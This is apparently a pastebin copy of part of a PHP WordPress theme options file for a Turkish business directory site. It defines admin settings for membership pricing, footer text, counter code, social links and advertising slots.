- $options[] = array( 'name' => 'Gold Üyelik Ücreti', 'desc' => 'Gold üyelik için talep ettiğiniz ücreti giriniz', 'id' => $shortname . '_goldfiyat', 'type' => 'text', 'std' => 'Yıllık 50 TL' );
- $options[] = array( 'name' => 'Ödeme Bildiriminin Geleceği Mail', 'desc' => 'Ödeme Bildiriminin Geleceği Mail Adresini Giriniz', 'id' => $shortname . '_goldmail', 'type' => 'text', 'std' => 'bilgi@siteismi.com' );
- $options[] = array( 'name' => 'DİĞER AYARLAR', 'type' => 'heading' );
- $options[] = array( 'name' => 'Footer Menü Başlık', 'desc' => 'Footer Menü Başlığı Yazınız', 'id' => $shortname . '_fbaslik', 'std' => 'KURUMSAL BİLGİLER', 'type' => 'text' );
- $options[] = array( 'name' => 'Footer Bölümünde Görünecek Yazı', 'desc' => 'Site Sloganı veya Link Değişimi İçin Kullanabilirsiniz', 'id' => $shortname . '_footer', 'std' => '<p>Tüm Hakları Saklıdır</p><p><b>Türkiye\'nin En Kapsamlı Firma Rehberi\'ne Hoşgeldiniz.</b></p>', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Sayaç Kodunuz', 'desc' => 'Sitenin En Altına Eklenecek Sayaç vs Kodunuz', 'id' => $shortname . '_sayac', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Facebook Sayfa Adresiniz', 'desc' => 'Facebook Sayfa Adresiniz', 'id' => $shortname . '_sface', 'std' => '#', 'type' => 'text' );
- $options[] = array( 'name' => 'Twitter Sayfa Adresiniz', 'desc' => 'Twitter Sayfa Adresiniz', 'id' => $shortname . '_stwit', 'std' => '#', 'type' => 'text' );
- $options[] = array( 'name' => 'Google Sayfa Adresiniz', 'desc' => 'Google Sayfa Adresiniz', 'id' => $shortname . '_sgoog', 'std' => '#', 'type' => 'text' );
- $options[] = array( 'name' => 'ANASAYFA REKLAM AYARLARI', 'type' => 'heading' );
- $options[] = array( 'name' => 'Header 468x60px Reklam Alanı', 'desc' => '468x60px Reklam Kodu Giriniz', 'id' => $shortname . '_a1x468', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Anasayfa Tam Reklam Alanı', 'desc' => 'Genişlik Maksimum 970px Olmalıdır', 'id' => $shortname . '_a1x970', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Anasayfa 728x90 Reklam Alanı 1', 'desc' => '728x90px Reklam Kodu Giriniz', 'id' => $shortname . '_a1x728', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Anasayfa 728x90 Reklam Alanı 2', 'desc' => '728x90px Reklam Kodu Giriniz', 'id' => $shortname . '_a2x728', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Anasayfa 300x250px Reklam Alanı 1', 'desc' => '300x250px Reklam Kodu Giriniz', 'id' => $shortname . '_a1x300', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Anasayfa Solbar 250x250px Reklam Alanı', 'desc' => '250x250px Reklam Kodu Giriniz', 'id' => $shortname . '_a1x250', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'KATEGORİ REKLAM AYARLARI', 'type' => 'heading' );
- $options[] = array( 'name' => 'Kategori Tam Reklam Alanı', 'desc' => 'Genişlik Maksimum 970px Olmalıdır', 'id' => $shortname . '_k1x970', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Kategori 728x90 Reklam Alanı', 'desc' => '728x90px Reklam Kodu Giriniz', 'id' => $shortname . '_k1x728', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Kategori Solbar 250x250px Reklam Alanı', 'desc' => '250x250px Reklam Kodu Giriniz', 'id' => $shortname . '_k1x250', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'DETAY REKLAM AYARLARI', 'type' => 'heading' );
- $options[] = array( 'name' => 'Detay Tam Reklam Alanı', 'desc' => 'Genişlik Maksimum 970px Olmalıdır', 'id' => $shortname . '_d1x970', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Detay 728x90 Reklam Alanı', 'desc' => '728x90px Reklam Kodu Giriniz', 'id' => $shortname . '_d1x728', 'std' => '', 'type' => 'textarea' );
- $options[] = array( 'name' => 'Detay Solbar 250x250px Reklam Alanı', 'desc' => '250x250px Reklam Kodu Giriniz', 'id' => $shortname . '_d1x250', 'std' => '', 'type' => 'textarea' );
- update_option( 'of_template', $options );
- update_option( 'of_themename', $themename );
- update_option( 'of_shortname', $shortname );
- }
- }
- $shortname = get_option( 'of_shortname' );
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement